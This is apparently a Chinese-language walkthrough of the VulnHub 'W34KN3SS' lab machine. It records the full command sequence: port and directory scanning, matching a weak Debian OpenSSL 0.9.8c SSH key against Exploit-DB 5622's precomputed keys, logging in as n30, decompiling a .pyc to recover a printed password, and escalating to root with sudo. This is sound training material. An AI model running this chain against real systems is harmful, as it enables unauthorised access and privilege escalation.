vulnhub系列:W34KN3SS
一、信息收集
nmap扫描存活,根据mac地址寻找IP
nmap 192.168.23.0/24
nmap扫描端口,开放端口:22、80、443,443端口有一个 weakness.jth 域名
nmap 192.168.23.188 -p- -A -sV -Pn
dirb扫描目录
dirb http://192.168.23.188/
访问80端口,没什么发现
拼接test,提示需要 key
没什么发现,看看443端口得到的域名 weakness.jth
访问不到,绑定一下hosts
192.168.23.188 weakness.jth
#Windows
C:\Windows\System32\drivers\etc\hosts
#Linux
/etc/hosts
兔子尾巴有一个值,可能作为账号或密码使用,留存
n30
dirb 扫描目录
dirb http://weakness.jth/
拼接访问 private ,有两个文件,看一下内容
mykey.pub
notes.txt,提示这个 key 由 openssl 0.9.8c-1 生成
kali 用 searchsploit 查一下
searchsploit 0.9.8c-1
searchsploit -m 5622
查看 5622.txt,给出了 url,需要下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
二、getshell
下载后,解压
tar vxjf 5622.tar.bz2
匹配 mykey.pub 内容
grep -r -l "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster"
得到公钥
4161de56829de2fe64b9055711f531c1-2537.pub
进入对应目录,公钥连接ssh,连接成功
cd rsa/2048
ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.23.188
三、提权
查看当前目录,发现 user.txt 和可执行文件 code
查看 user.txt
查看 code 文件类型,是一个 python 文件
file code
把文件 copy 到网站根目录,开启一个临时 web 服务,下载下来
cp code /var/www/html
cd /var/www/html
python3 -m http.server
wget http://192.168.23.188:8000/code
使用 uncompyle6,下载命令
pip install uncompyle6
修改 code 名为 code.pyc,使用 uncompyle6 反编译,得到密码
mv code code.pyc
uncompyle6 code.pyc
n30:dMASDNB!!#B!#!#33
查看当前权限
sudo -l
显示 all ,那么直接 sudo su 提权,提权成功
sudo su